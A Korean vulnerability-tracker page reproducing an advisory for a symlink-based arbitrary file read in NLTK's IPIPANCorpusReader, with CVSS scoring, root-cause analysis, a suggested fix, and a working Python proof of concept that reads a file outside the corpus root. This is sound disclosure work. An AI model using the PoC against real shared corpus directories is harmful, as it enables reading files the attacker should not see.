Kestrel
대시보드로 돌아가기
CVE-2026-62383MEDIUM· 5.5MITRENVDGHSA대응게시일: 2026. 08. 22.수정일: 2026. 09. 08.

NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.5medium

이론적 심각도 점수

EPSS
0.2%상위 91.8%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

· KEV 미등재 · 자동화 어려움 · 부분 영향 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.15.5MODERATE
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.

Root cause

All four methods route through _get_tag():

python
1def _get_tag(self, f, tag):
2 tags = []
3 with open(f) as infile: # builtin open(), no pathsec involvement
4 header = infile.read()
5 ...

f arrives via _list_header_files() / _list_morph_files_by(), both of which call:

text
1f.replace("morph.xml", "header.xml")

on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().

This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validate_path(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.

Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.

Proof of concept

Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.

python
1import os
2import tempfile
3
4from nltk.corpus.reader.ipipan import IPIPANCorpusReader
5
6root = tempfile.mkdtemp()
7corpus_root = os.path.join(root, "ipipan")
8os.makedirs(corpus_root)
9
10with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
11 f.write("<channel>legit</channel>")
12
13secret_dir = os.path.join(root, "outside_ipipan_root")
14os.makedirs(secret_dir)
15secret_path = os.path.join(secret_dir, "stolen.xml")
16with open(secret_path, "w") as f:
17 f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")
18
19os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))
20
21reader = IPIPANCorpusReader(corpus_root, r".*\.xml")
22print("Auto-discovered fileids:", sorted(reader.fileids()))
23
24result = reader.channels(fileids=["evil_link.xml"])
25print(result)

Actual output when run against current develop:

text
1Auto-discovered fileids: ['evil_link.xml', 'real_morph.xml']
2['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

That content was read from secret_path, a file entirely outside corpus_root. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.

Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call.
  • Core corpus-reader code, reached through plain import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool.
  • Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for FramenetCorpusReader and NKJPCorpusReader.
  • Not a bypass of a claimed fix. ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.

CVSS v3.1

  • AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.
  • PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.
  • UI:N: fires during routine, automated corpus processing, no separate victim action.
  • S:U: stays within the same process's existing privileges.
  • C:H, I:N, A:N: arbitrary file read only, no write, no crash.

Suggested fix

Route _get_tag() through nltk.pathsec.validate_path() with the corpus root as required_root, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.